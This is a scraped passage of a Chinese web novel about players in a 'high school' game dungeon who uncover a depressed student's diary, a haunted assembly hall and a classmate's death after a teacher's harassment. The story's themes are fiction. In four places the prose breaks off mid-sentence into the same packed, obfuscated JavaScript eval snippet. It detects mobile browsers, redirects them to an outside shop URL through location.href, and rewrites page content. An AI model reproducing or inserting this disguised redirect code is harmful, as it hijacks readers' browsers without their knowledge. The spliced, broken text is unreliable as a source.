换季时的鼻炎过敏，换季时的胃肠型感冒，睡不好的神经衰弱，每时每刻听到的电器轰鸣的声音…… 讨厌的电梯没有拆装修的木板，每次进去都像是一个陌生的腐烂的世界，忍不住想要是哪天我死里面了都不会有人发现；忙于工作见不到人的你像是抽查我作业随机刷新的npc，为数不多的交谈时间里你在说hqj好优秀，怎么不能让你像他家人一样省心。 把我一次一次逼疯逼得破口大骂的时候问我为什么那么脆弱。 我收不到积极正向的反馈啊，你悄无声息地毁灭着我，告诉我配不上任何美好。 我为什么那么脆弱，你不知道吗？】 …… 【可是他们和我们就是不一样啊。 他们体育课可以游泳，可以滑冰，我们的体育课就是绕着有讨厌臭味的橡胶跑道来来回回地跑。我的中学在看不见头的跑道一圈一圈地跑，我的工作也会是蒙着眼拉着磨一圈一圈地转吗？】 …… 【心理医生还是有点用的。 很短的一瞬间会想，如果她是我妈妈就好了。 “每次我听到家长自豪地说孩子乖巧成绩好，我会在心里想，你家孩子其实就是废了。人的天性本来就是野的、叛逆的，守规矩那是没用的成年人干的事情。学校非要压抑这种天性，要么这个孩子一直‘乖’下去，成为大家眼里的好人，然后再这么要求自己的孩子，上梁过正下梁笔直；要么孩子彻底就坏了，家长觉得好不可思议，天呐，不对啊，我孩子怎么了，她明明一直就很乖的，怎么突然坏啦？” “每一个人心里都有两个小人，一个是所谓理性的自我，这个自我是被这些框架束缚住的自我，它告诉你你要这么循规蹈矩地活下去；另一个我才是真我，是你真正想要成为的自己。可是绝大部分人心中那个名为真我的小人都死掉了。” “你的痛苦是因为你的理性和真我在打架，所以你比其他人优秀，因为你意识到了这一点，很多人活一辈子都没有发现这一点。但因为你年纪还小，你跳脱不了这个限制，所以你会在痛苦，是不是你想的都是错的，为什么他们不会这么想，你的痛苦是因为你的思想和你收到的教育之间的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14652715|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矛盾。” “所以你要做的事情就是接纳自己，你没有办法改变这个框架，你当然不能改变这个框架，一个满是棱角的石头怎么能在社会里滚动呢？比起磨平棱角来说更简单的方法是收纳自己的刺，不要去抗拒这件事，你可以想，嘿，是老娘让的你们。” “你不想这么按部就班地走下去，但你又觉得你不知道除了这样好好读书上大学之外还能走什么路，那就读更多书吧，书本里不会有所有答案，但是总会有一本书里有答案，得不到想要的就去读书，就去行动，一直走下去，总会看到的。”】 …… 【妈妈，为什么她能懂我，你不能懂我？】 …… 【我不敢接受我的平庸。 我维持现在已经非常痛苦了。 我不敢接受我的平庸，我不想接受我的平庸，我害怕接受我的平庸。 我以为你会告诉我，平凡也很好，大家都是普通人，我以为你能够接受平庸的我。 但我终于发现，你不会的，优秀的你没有办法理解我的恐惧我的不安我的平庸。 你说：“反正你什么事都做不好。” 你是我站在悬崖上岌岌可危的安全绳，你从来不知道安全扣其实是在你手上的。】 …… 很难受，不知道为什么难受，但是鼻腔也堵着，喉口也堵着。 步绾茫然地盯着粉白的纸发呆，一时间不清楚是她在阅读，还是它们在争前恐后地往她的眼睛里钻。 【其实我也不差吧？如果我能获得更多鼓励的话，我觉得我可以比现在更好吧？ 说着你以为你是什么你以为你很优秀吗不要骄傲不要翘尾巴不要半桶水晃荡这样的话，哇！怎么能说出这种话！哇！水早就被一巴掌打没了！蒸发在了沙漠的仙人掌里！哇！居然还有尾巴可以翘！翘尾巴！我是小猫！猫！狗！鱼！死掉了！ 鱼生是生鱼切片是死于切片人生是死人切片是死于切片我坠落我幸福坠落我坠落于梦与爱她爱我她不要让我坠落她想让我飞翔跳舞明明是你喜欢的呀呀枝丫呀枝Y呀枝Y枝yyyyy怎么生长它被你掰断了呀跳舞跳舞跳舞跳舞跳舞跳舞跳舞跳舞跳舞跳舞跳舞 你活在配备四人铁架床、一张书桌、一朵芭蕾花、一具尸体的操场。你每天穿着芭蕾舞服在教育部直属全国重点高中研究坟墓，起跑线上掉落了你孩子的手臂，她笑着对你说奶奶我是蛤蜊。我没有痛苦。她是为我好，她很爱我】 一个又一个扭曲的大小如蚊蝇的字词争先恐后地朝她奔赴，像是仓皇出逃的蚁群，每一只小小的蚂蚁都背负着恐惧试图将教室淹没。 有人唱着歌，滴滴答答滴，小螺号滴滴地吹，你快乐吗？我很快乐！ 【百年名校是指因材施教的九对一全方位教学服务的任务是好好学习天天向上。学习有益于所有人的生命，学校有益于所有人的智商，学校有益于社会的进步，学校有益于你的死亡。高频互动师资雄厚，你只需要每个月遭受一次酷刑，每三个月遭受一次上吊，每半年享受一次奔赴，每年承受一次坠落！ 好消息！好消息！大酬宾！大酬宾！开业大酬宾！ 尊敬的客户，在您生日来临之际，瑞辉联合保险衷心祝福您生日快乐！身体健康！阖家幸福！打开软件搜索“瑞辉联合保险”，安心享服务。退订回复……很遗憾！您退订不了啦！】 【恭喜玩家触发副本关键节点，现副本更名为《生长痛》。 “每个走在这里的人背后都悬浮着一个十字架，它亦步亦趋，想要追上我们，与我们合一。某个想在我们背后潜行然后蒙住我们双眼低声说“猜猜我是谁！”的东西。我们在阳光下眼看着就快要幸福了，我们不知晓的伤口却正要命地淌着血。”* 副本通关目标：通过周测。】 12. 第12章 12 粉白的答题卡散落在了桌子上，几名玩家逐字逐句地阅读，试图从中挖掘出更多线索。 “……我得说，”顾嗣显挠了挠头，“虽然这样显得我很没有共情能力，但是我确实，呃，确实没有办法理解这种……到底是她被副本异化成了这样，还是她本来就这么想的啊？” “可能是因为身边的人都太优秀了，所以压力很大吧，”察觉到步绾的心情低落，明诀友好地解释，“你看，妈妈也很厉害，邻居也很厉害，这所高中也是重点高中，人成长的过程本身就是把自己摔碎了重新塑造的过程。再加上她日记上透露的，压力大一直失眠，睡眠不好的人容易崩溃再正常不过了。” 当然可能不仅仅因为这些。 明诀想，顾南栀的低落应该还有些别的原因，让她缓一缓再分享吧。 “我先讲讲今晚我的发现吧。” 明诀去了那栋粉墙黛瓦的古典建筑。 那楼甚至还是省级文物保护单位，经历过五次迁址，最近一次修复是在二十年前，斥资百万，当然，不是学校花的。 楼是围着不让人进的，也就高一入校和高三毕业举行典礼时开放。平时在学校里基本上也就是作为一个吉祥物的存在，有什么重要活动需要拍照，在它前面拍张；高三毕业了，在前面拍张……大概就是这么个打卡地。 明诀用了点隐匿身形的道具，因为发现这楼附近的监控有点多得过分，显然远远超过保护文物应有的监控数量。 总不至于是哪一年经费过多吧？ 古楼上有一块匾，上面是金墨写的“承礼堂”，看得出来是被修复过的。 远远地看这楼好像也没多大，但走近了瞧发现面积确实没想象中那么小，但如果要容纳一整个年级的人的话又显得拥挤，再加上因为是古迹不可能在里面增添什么讲台座椅之类的，所以那些个典礼大家估计都是站着——不过说真的，是古迹还被用来当大讲堂也不太合适吧？ 但反正是在副本中，一切皆有可能。 话虽如此，想象了一下在这样的讲堂里，校长厅里哐啷讲了一大堆有的没的，画面某种程度上堪比鬼片。 脚下踏的和雕栏都是青石板做的，里面不伦不类地还有几根不知道是什么木做的圆柱，说是不伦不类，是因为全都涂的砖红色，梁坊上是鲜艳但有剥脱的彩绘，主题色调是蓝色，上面还画了金龙。梁上还挂着灯，现在当然没开。 挺好的，让人跨越门槛就穿越了时代，在一间礼堂里体会到不同朝代的风采。 怎么不算一种超越时间空间的美呢。 古代讲究一个通过榫卯构建空间呼应天地人，明诀没那么本领高超能看明白风水，但感官不能骗人，那种阴森顺着肌理一点点抚摩的战栗让他不得不更加谨慎地对待这栋楼。 瓦当上趴着的枯藤像是黑夜里悄无声息伸出的鬼手，密竹从窗棂里投射进来的漆黑倒影仿佛在地上蜿蜒，再加上檐铃的响动，感觉下一秒穿着红衣的女鬼就要飘了出来。 所以在这样的氛围下，他猜测的剧情是被残忍杀害的女高中生化作厉鬼要索命来着，或者老师，或者被学业压垮了的。人们都说现在的小孩真是脆弱，哪像他们之前怎么怎么样，饭都吃不饱，学都上不了，现在的小孩真的不知足。 被困在教室里的小孩踩着日出上学，比起太阳更多看到的是月亮和晦暗的夜空。 沉闷的，无趣的，日复一日的。 拧巴的，痛苦的，无能为力的。 最后被轻飘飘地归根于“脆弱”。 产生这种想法之后明诀就意识到他被感染了。 倒不是说这种想法错误或者是怎么样，而是他平时其实是一个懒得去想的人。也不是说他是那种比起瞎想更喜欢做实事的人，事实上他也不喜欢瞎想也不喜欢干实事。 拜托，活着就够累了。 夜视视角，模糊的黑影，不伦不类的搭配风格，有一点像千禧年间粗制滥造的flash动画。区别大概就是蒙了一层雾，呃，也不是雾，没那么轻薄，是一种燃灭的油灯下堆砌的那种，沾着断裂灰色翅膀的，浑浊油腻的，膜。 明诀想，哇，这还是他头回体验到什么叫没头的苍蝇到处乱撞。 大概是心有灵犀，当然，他本人也不是很想承认自己和一个副本或者和一个成了精的古楼心有灵犀，人们其实一般把这个叫作乌鸦嘴，或者好的不灵坏的灵。 讲堂里一下子密密麻麻挤满了人。 人形……生物？算生物吗？ 明诀不合时宜地想起了短视频里刷到的，外国小孩儿被家里人装扮成无头人过万圣节要糖果的视频，觉得讲堂里的这群家伙可比那小姑娘来得逼真多了。 商场里的人体模特，灰白的躯体里密密麻麻写着他这个年纪已经看不明白的公式了——等下，你们高中生就要学这么复杂的公式了吗？这是现在高中的必修了吗？——还有红笔的批改，哦老天，拿鲜血来批改这一套已经过时了。 模特们没有头，脖颈上是弯曲的铁钩；四肢是组装的，显然每个模特对人类的四肢都有自己的审美，有一长一短的，有两只都是左手的，有拼了三脚一手的，还有拼了三手一脚的——这哥们，还是这姐们，理所当然地，在刚出现的那一秒就摔了一跤。 好消息，没有伤害到无辜。 它们都不是实体。 手上抱着的倒是正儿八经的人头，虽然在这么个场合用正儿八经来形容多少有点语意不当的感觉。而且只有人头，没有一点脖颈相连的内容，明诀简直都能想象，钩子上套着的弹力绳是怎么穿过头颅固定的。 哇，人类长这么丑就不要碰瓷bjd娃娃了好吧。 模特们对他没有任何的攻击和交流欲望。 目前看来像是他之前和顾南栀介绍的那种影像性质的npc，他做什么都不会影响它们。所以刷新出来是固定的时间点？还是玩家触发了什么？ 调试频道的声音。 滋啦的诡异电流声，从不知道什么方向传了过来，辨听不出来声音的来源。 腐朽的、枯烂的气息如潮水一般澎湃地涌来，它似乎完全不惮于在探索者面前显露出它的破败本质，巴不得自己在梁坊上来一刀，挖去溃烂的腐肉，掉下成群的蚂蚁，掉下翻面的蟑螂。 广播里传出来的声音模糊不清，似是狺狺乱语，音节扭曲却也清晰，像是被水泡开的墨迹，温柔而又尖锐，像是轻轻贴在皮肤上比量的刀刃。 模特悄无声息地转身，悉数朝着明诀的方向。 人头安静地睁开双眼，眼神出乎意料的一片清明。 广播逐渐清晰。 “……岁月的沉淀，无尽的知识……时间……意义……明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14652716|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珠…… ……百年的传承与积淀，赋赋赋赋赋赋赋赋予了我们深……雄厚的师资力量，给予了我们引以为为为为为资本…… 我们的课程设置丰富多样，我们的教学设施现代先进，我们的校园环境优美宜人。 选择第一中学，就是选择了一个好的起跑线！” “选择第一中学！” “选择第一中学！” “第一中学！您最好的选择！” “家长放心！孩子舒心！” …… 人们常说文字是利器，明诀难得从字面上领悟到了这一层含义。 他好像处在一个被细密的黑线勾勒的世界，像是草稿上的建筑，但如果说要是草稿的话画得又太过密集。像他小时候玩的繁花曲线规，大齿轮里放小齿轮，尖细的笔尖干脆地插进孔里，小齿轮逃窜，大齿轮滚动，一遍一遍重复着透明玻璃框里逃跑的路线。 线不仅构造成了这个世界，还在试图扎他。 刺刺挠挠的，其实也没有疼到让人无法忍受的感觉，但是正因为没有那么痛，所以还透露着让人忍不住扭动的一种磨人的痒。 怎么会痒呢？我们在传授知识啊！ 针尖不理解地跳动着。 我们设置了丰富多样的课程！ ——不，那是一望不到边际的绿色迷宫，组成迷宫的是惨绿色的大树，它们伸出了张满绿叶的手，为你遮蔽风雨，却也遮蔽了你清晰光明的未来。 我们建造了现代先进的教学设施！ ——现代的，摩登的，时尚的。冰冷的，尖锐的，顶尖的。擦不掉字的黑板，自己印的试卷，从没有打开过的音乐教室的多功能影音设备。没有用过的崭新设备自然就是最先进的！ ……呃，所以呢？ 明诀不理解。 虽然他的思维被掰扯开来，一部分在跟着繁花曲线规乱涂乱画，一部分在顺着广播内容、顺着先前系统给的副本提示去随意地蔓延，但剩下的自己抱着臂靠在柱子上看着这场吵闹的戏剧。 比起之前下过的副本，这次的副本主线更加不清晰了。 明诀是并不将副本当副本的那一拨人之一。 副本只是他随大流的一个叫法，外加给新人解释的话拿游戏副本来确实比较好解释。他觉得这是一个小世界，每一个所谓的副本都是一个小世界，人活在世界里，如果不是被社会规训，哪儿来的什么主线任务？ 所以他一直觉得四月一日战场这个词是在嘲讽。 系统发来的短信说：“这只是一场游戏！享受游戏吧！让欢声笑语充满游戏的每一个角落！” 它好像在鼓励玩家把这一切都当作恣意杀戮不遵循社会规矩的游戏，可是它也说了 ——于是我们的鲜血成了愚人的愉悦，于是我们的眼泪成了愚人的痛楚，于是我们成了愚人，于是愚人看着我们。 到底谁是愚人？ 到底谁是楚门？ 哦不对，想远了。 明诀盯着其中一个人头发了一会儿呆，那个人头他认识，是校长，青白的脸与大笑的嘴，当鬼也意气风发。 进了这地方之后他思绪跟撒欢的比格似的，感觉贸然把狗拽回来反而会被牵狗绳缠满了腿。 那就让比格继续撒欢吧，指不定能把这破烂地方咬碎冒出点有的没的线索呢。 13. 第 13 章 13 常规认知里高中生的主线任务就是好好学习，考上好大学，大学没考上人的一生就完蛋了。 虽然大家都说三百六十行行行出状元，但绝大多数人心里真正的状元还是那个考出来的状元。 就连现在反派也流行高智商而非力大砖飞的了。 所以这个副本里模糊的所谓主线任务其实很贴合现实。 小孩们想要有自己的思维的时候，家长会说你现在的主要任务就是学习，你不要管其他的；真论上事儿了，张口闭口又是你不能一直依赖于我们，你得有自己的思维能力，家长不能照顾你一辈子。 明诀的思维东一榔头西一棒槌的，视线也跟着瞎飘。 他虽然不脸盲，但也确实不是很能从这一个个青白的头颅里找出他短短一天里“惊鸿一瞥”能认出的人。 某种程度上瞎飘的思绪也贴合了这个副本？ 在成年与儿童分界线的未成年人们本来就该是茫然无所知的。 顾南栀和顾嗣显的联系。 这两个名字一看就不是随便取的，他们俩之间存在着什么目前还没发掘出来的关系？ 顾南栀和贺清璟的联系。 他俩是邻居，邻居其实不意外，重点高中旁边的学区房，大家都认识。但还是那话，邻居没问题，两个玩家是邻居就有问题了。 尤其是之后王老师的话。 在这时候他其实倒宁可这里只是一个游戏副本，而不是真实的世界了，怎么会有当老师的对未成年小姑娘说这种话？ 不就没拉个外套拉链？好家伙，他还以为是人小姑娘穿了个露脐吊带齐臀短裤呢。但这也没啥问题啊，也没见王老师对大街上那些个背心卷了三折的大肚腩说不检点呢。 哦等下，还是有问题的，不能露脐，露肚子眼会窜稀。 但是如果是游戏副本的话理论上是会有深层逻辑的。 现实生活可就没必要有逻辑了，你永远不知道你对面那家伙到底有没有正常的智商和基础的思维能力。 本来按照他的理解的话，老师们应该是偏向于成绩好的人…… 不，也确实没有理解错误，贺清璟的成绩比顾南栀好，所以王老师更偏向于贺清璟。 ……所以早读那个npc的突兀死亡到底有没有一点他们班主任迁怒的原因在？ 所以这些个人体模特到底有什么用？站出来吓唬一下他？ 想不明白。 光从人头上根本看不出来死法，每一个弧度一致大到夸张的笑容可远比那广播吓人得多。 模特和人肉四肢的连接看起来也不恐怖，感觉就像是长出来一样自然，多少有点为了放进少儿频道而强行打码的丧尸片的感觉。 所以是模特自个儿长出来的？怎么？又要搞被爱会长出血肉这一套？ 主线是未成年人获得了明明很多的爱和钱却永远不会知足？ 哇，好没意思的剧本。 * “……总之，大概就是这样，”明诀总结了一番，“大概率还是需要到某一个特殊的时间点才能触发吧。” 贺清璟道：“人体模特或许是暗喻心理医生的话，乖巧成绩好、压抑天性的模特，捧着的人头是突然坏掉的‘真我’。” “哎呀小璟不愧是特优生，”明诀夸赞，语气真诚，好像他没有一点发现似的，“不过坏消息是，心理医学室被锁起来了哦。” 他从讲堂出来之后就在学校里溜达了一圈，也看到了显然尘封已久的心理医学室。 门被锁了起来，外面还贴着封条，有意思的是封条居然还是高考的那种封条。 黄色木门上的玻璃上糊了几层试卷，明诀辨认了一下除了这个人成绩实在不咋地以外没有任何收获——试卷上能看得清的地方没有姓名班级学号等任何个人信息。玻璃虽然挡着了，窗帘倒是没拉，站在屋外能看得清里面就是一间普通办公室。 被挽起的灰色窗帘，办公室里常见的木桌和椅子，椅子上有按刻板印象来看应该是女性使用的Q版坐垫。笔筒、档案盒和文件夹都是学校配置的，笔套都是严严实实合上的，桌面上没有任何摆在外面的文件。 铁青色的文件柜里倒是还有资料，但遗憾的是，他还没来得及仔细观察。 “我明天晚上应该可以请病假。”步绾恹恹的，“听同学说顾南栀天天吃药，身体很不好，我明天晚上可以装病。” “……我不可以。”顾嗣显想到其他人都能翘课但他不能也变得恹恹的，耳朵都快垂下来了，“高三，可恶的高三，我们班有人发烧去打点滴了，他妈妈都过来领试卷让他边输液边写。” “那你有发现新的玩家吗？” “有两个怀疑的，但没时间接触，两眼一睁就是做。”顾嗣显哭丧着脸，“明天跑操的时候我看着去接触一下。” 步绾依旧怏怏，她拿现在的样子去请假保证能批下来。 “我们班又死了一个，但是是优等生，第一名，数学课代表，叫幸羽妍。” 室内寂静，只有她的声音在哭泣。 “就是一个很普通的小姑娘，内向、温柔，现实生活中很常见的那种学霸。数学老师，班主任，喊我们去办公室做题。路上，幸羽妍和我说，她昨天刚听了HEPTA的《Growing Pains》。” HEPTA这个组合名字出现得有些频繁。 当然，更重要的显然是这首歌的歌名，Growing Pains，成年人喜欢翻译成“成长的烦恼”，未成年人却是难以言说的生长痛。 “她问我，为什么比她更辛苦的人也在好好地活着，她就不能感觉到痛苦了吗？” 步绾张了张嘴，发现自己好像没有办法去和他们描述幸羽妍所遭遇的。 她当然不是觉得被骚扰是一件羞耻的事情，羞耻的该是那个傻X老师，他不配被称之为老师。 “……你们班主任对她做了些什么。” 好在她的同伴们都很聪明，从她今晚的状态和现在的欲言又止中猜出了很多。 好长时间，步绾才继续道：“……她还受到了来自最亲近的人的言语伤害。因为所有人都在……攻击她，觉得她做错了事，觉得她脆弱，觉得她……” “她问我，生长痛到底是什么。” 她以为是嫩芽新生成大树要经历的必不可少的疼痛，最后童话故事总会有完满的结局。她以为她熬过冬天就会是春天，但为什么只有她被留在了没有日出的冬天…… “她问我，为什么他们总是问她，你怎么这么脆弱？” 步绾垂下眼。 垂下眼的时候，整张脸上没有什么特别浓重的色彩了，她就连唇色都比常人要浅淡得多，看起来单薄得像是马上要被撕毁那样。 顾嗣显不合时宜地想，她这样请病假老师真的不会说什么的。 这么想着，他听到顾南栀凭空炸了惊雷： “她知道我不是顾南栀，她说我出现得太晚了。” 几人脸色突变。 “然后她就在我怀里消失了，我们班上又少了一个人，我成了数学课代表，没人记得有过幸羽妍这么一个人，然后我才翻出来这些答题卡。” 贺清璟给她推去一杯温水，与他们分享自己的思路。 这个时候就是要快速将人拖进事件之中，让人强迫自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14652717|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走出来开始运作。 “你们记得游戏当时关于副本的介绍吗？” 他短暂地停顿了一下，似乎在回忆内容。如果步绾不是还沉浸在悲痛中，她肯定要在心里吐槽你脑子怎么这么变态，这都能背得下来。 “副本最开始的名字就是叫‘第一中学’，一开始给我们的介绍也很像招生简章的内容，强调了学校历史悠久、资源丰富、师资雄厚，甚至连环境优美都说了，但其实对最重要的学生，只字未提。” “这很常见，我们聊高中，从来都只聊它的本一率多高。”顾嗣显挠了挠头。 “后面的介绍，‘我们在阳光下眼看着就快要幸福了，我们不知晓的伤口却正要命地淌着血’，出自《巨大的谜：特朗斯特罗姆短诗俳句集》，”看到顾南栀和顾嗣显茫然的眼神，贺清璟也不清楚是他们没有文化还是和自己来自不同的位面，善心地补充，“可能你们的位面没有这个人，这不重要。” 他在明诀看起来莫名其妙但总归有点欠揍的笑意中继续道：“由此可以判断出来，高分通过周测是拿不到副本的高级评分的，也因此可以推论，不需要等到通过周测，解决掉生长痛这个问题，也能高分通过副本。” ……啊？ 似乎是看出她的疑惑，明诀语气温和地问道：“你觉得副本是怎么被划分为这些等级的呢？” 啊？你不是说副本D到A层层递进层层解锁的吗？ 步绾愣了一下，她确实从没想过这个问题，副本的评级到底是如何裁定？小说里那些大佬一进副本就“不小心”被卷入S级副本，又或者神操作把低级副本升成高级副本，那和她有什么关系？她只是个看爽文的无脑读者。 “我之前也以为这个等级的划分是按照大众平均水准，”顾嗣显插入这个话题，他其实对于给新手讲解不是很感兴趣，但是显然明诀手中的情报很多，顾南栀又是目前触发节点的玩家，他也不吝于分享一些自己的见解，“比方说这个副本是D，就是几乎是百分百存活通关的等级；那个副本是A，就是除非有大佬带飞不然死伤惨重的等级，我之前是这么理解的。” 明诀挑眉：“那你现在呢？” “现在意识到没那么简单了呗，”顾嗣显耸肩，“我的第一个副本是在地铁站，任务目标是离开地铁站，你要说它简单，确实简单，你只要登上那列地铁就行，没人拦你，你也不需要费尽心思找票，大概是D级结算。 地铁站里也有类似于幸羽妍这样的npc，她即将坠落轨道。如果你救了她，你也就能触发关键节点，拿到A级结算，副本改名叫《让她坠落》。而你这个时候已经不需要登上地铁或者出站，被你救下的npc会把你送出车站，让你达成任务目标。” “……但按你这么说的话，”步绾没忍住吐槽，“也就是相当于通过周测其实只能达成C或者D的结算，但是如果能解决青少年心理抑郁问题的话，我们直接A了？老天，这哪是说把D级副本打出A级，这明明就是……” 她话说到一半卡住，意识到了他们的言下之意。 D级到A级的副本，D级到A级的结算…… “这么说吧，”明诀打了个哈欠，他似乎有些困顿，“你家有一个非常豪华，非常精致的碗柜，里面放了四五十个好看且昂贵的碗，但是某一天，你发现，碗没有放好。你如果把柜门拉开，碗就会噼里啪啦碎裂一地，一切都变得很糟糕；但只要你装作看不见，你装作不知道，碗柜还是精致的碗柜，碗还是昂贵的碗。” 他晃了晃手指，笑眯眯道：“自欺欺人的精神病最不能惹，平时啊，他就是个普通的精神病，但是你告诉他他在欺骗自己的时候，那就完蛋啦。” 14. 第 14 章 14 某种程度上得感谢她这才认识不久的小伙伴们。 感谢他们的“危言耸听”，成功让步绾忘记了今天所遭遇的一切，忧心忡忡地步入更糟糕的漩涡之中。 步绾回了自己家。 家人们都睡了，她先前下晚自习的时候先回来了一趟，和她们说有题目不会要去问贺清璟。 她冲了个快速澡，从浴室出来的时候，发现母亲跟游魂似的站在客厅桌边，把她吓得一哆嗦。 “你今天的药还没吃。” 母亲似乎只是出来倒杯热水，也没多看她两眼，又游魂似的飘了回去。 步绾看了眼桌上的药。 每一个都有包装，她依次拿起来看了眼。氯雷他定、仙特明、维生素b群、启维、阿美宁……不是，等下，怎么还有藿香正气液？ 她吃药快喝出了个水饱，慢吞吞地晃回房间，被海报上那几张分不清的帅哥给恍了一下神。 这个男团在她生活中出现的频率也太高了，不会最后冒出来一个什么复活社吧，然后说我们要把所有的HEPTA粉丝的心灵之蛋都变成坏蛋，这个世界由我们统治。 ——希望统治的第一天能让所有安排996的老板进去。 别说，外星人如果真来统治了地球，强制执行八小时工作制、下班老板如果联系就是犯罪的话…… 步绾第一个举双手双脚投降。 她继续慢吞吞地往床上滚。 这个动作没有难度，走到床边，扑倒，横着滚，一点点歪过来，竖着躺到枕头上，把被子一夹。 小城镇物价低的好处就在于，她家床还挺大的。 她讨厌租的房子里那张狭窄的单人床，都不方便滚来滚去。要不是因为在南方，怕某天醒来和某些生物近距离亲密接触，她肯定会宁可不要床。 步绾换了个抱枕抱，正准备理一下思路，但是沉沉的睡意就将她淹没。 以至于她醒来的时候还有些茫然，心想这该不会是顾南栀睡眠质量最好的几天。 她慢慢腾腾地从床上挪起来，心事重重地步入了新的一天。 到底是解决未成年人的心理问题容易一点，还是让一群远离高中很久的家伙通过周测来得容易一点…… 如果这里的玩家但凡有一个邪恶一点的，肯定会说，没关系把大家都杀了，两个问题都解决了。不知道算得上遗憾还是该算庆幸的是，这一波玩家里没有这种反派。 去学校的路上步绾提出了这么一个疑问。 贺清璟很难得地露出一些惊讶表情，似乎没有想到她居然能提出这样的“解决方案”出来。 步绾只能给自己找补：“呃，我不知道你看不看动画？就是有种，呃，实现人愿望的圣杯，但是不一定从正经意义上实现愿望哈，就是那种，比方说，我许愿世界和平，所以圣杯把大家都杀了，没一个活人那世界肯定就和平啦……所以……” 大家都死了那不就肯定都没有精神问题了呗。 贺清璟最后只能表示：“……是个好办法。” 他扯开了话题：“如果今天遇到了什么，方便的话第一时间来找我，好吗？” 步绾点了点头，和贺清璟在楼梯口分开。 知道了自己座位在哪儿后就没必要那么早到校，她到教室的时候已经有了将近三分之二的人在。刚摸出课本，王鸳杏就凑了过来，神神秘秘地递给她一个画着可爱小熊的精致塑料袋。 动作真的做出了一副地下交接的架势。 步绾还发了一下愣，没反应过来，王鸳杏着急地往她手里塞了塞，好像拿着什么烫手山芋一样：“你快点拿啊！昨天说的！” ……昨天说的啥？ “哦哦哦，”步绾总算接入了秘密通话的频道，“哇你今天真带过来啦。” “那是，放心好啦我妈知道，她帮我们配的，”王鸳杏比了个大拇指，“紫药水我就没给你拿了，那个是橙子独有的，你懂的。” 看着王鸳杏挤眉弄眼，步绾意识到她现在致力于在帮周陈澄追逐爱情上添砖加瓦，于是也回了个暧昧的笑容，比了个ok的手势：“懂懂懂。” 王鸳杏故作沉稳地回自己位置，但轻快的脚步完全暴露了自己的想法。步绾收回视线翻了下袋子里的药粉，那些个药材显然已经混合在了一起，看不出来原先是什么样子，上面打印的药方写着使用方法。 能这样子出的药方……应该是正经的配方吧？ 步绾挠了挠头，将塑料袋塞进了书包里。 她也就初中的时候做了点什么黄瓜捣泥敷脸的事，后续就再没有用过这种“原生态”的方式护肤过，倒也不是说科不科学的事，只是她真的懒得做那么一系列前序准备。 步绾本以为这不过是一个小插曲，哪想到下去准备跑操的时候，李莎白突然问她晚上要不要回家吃。 “啊？怎么啦，有啥事吗？” “橙子说她□□加了个代理商，昨天买了一个比紫药水更厉害的染发膏，不会染深皮肤，然后紫药水还有被发现的风险，那个染发膏完全不会！室内就是完完全全的黑，室外就是那种紫葡萄一样的色儿！” ……啊？ 什么代理商？人家搞V商你们搞Q商？这玩意儿一听就不靠谱吧？紫药水起码没那么伤身体吧？！ 腹诽着，步绾还是装作惊讶的样子：“啊？买啦？啥时候到啊？” “已经到了呀，所以你晚上不回去吃饭的话一起去宿舍帮橙子染头呗，”王鸳杏想到了什么，用手肘轻轻地推了一下她，“或者，让你家那个谁，那个谁帮你带饭。” 步绾这回是真茫然了，王鸳杏一脸“咱俩啥关系了你还在那儿装”的促狭表情：“哎哎，贺清璟！你俩天天一起上下学的还吃饭呢，还跟我搁这儿装没戏呢？老王上次不都为这事儿找你了吗！” 步绾有点头痛，要不是怕动作明显都想按一按太阳穴了。 八卦是点燃年轻小女孩枯燥生活的火把，如果这把火没有燎到她这里的话步绾也一定乐见其成。 她有点想造谣把自己从八卦中心拖出来，但只能憋住。 一来是她找不到合适的造谣对象，总不能造谣他和明诀有一腿吧？这种关系目前来说还是有点太超前了；二来是她也不好把自己摘得离他们太远了，毕竟上午才答应了贺清璟，遇到了什么情况第一时间去和他说。 这也算是触发特殊事件了吧？ 现在这个时间，快递还没有发展得那么迅速，不可能她昨天刚定了紫药水现在就已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14652718|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 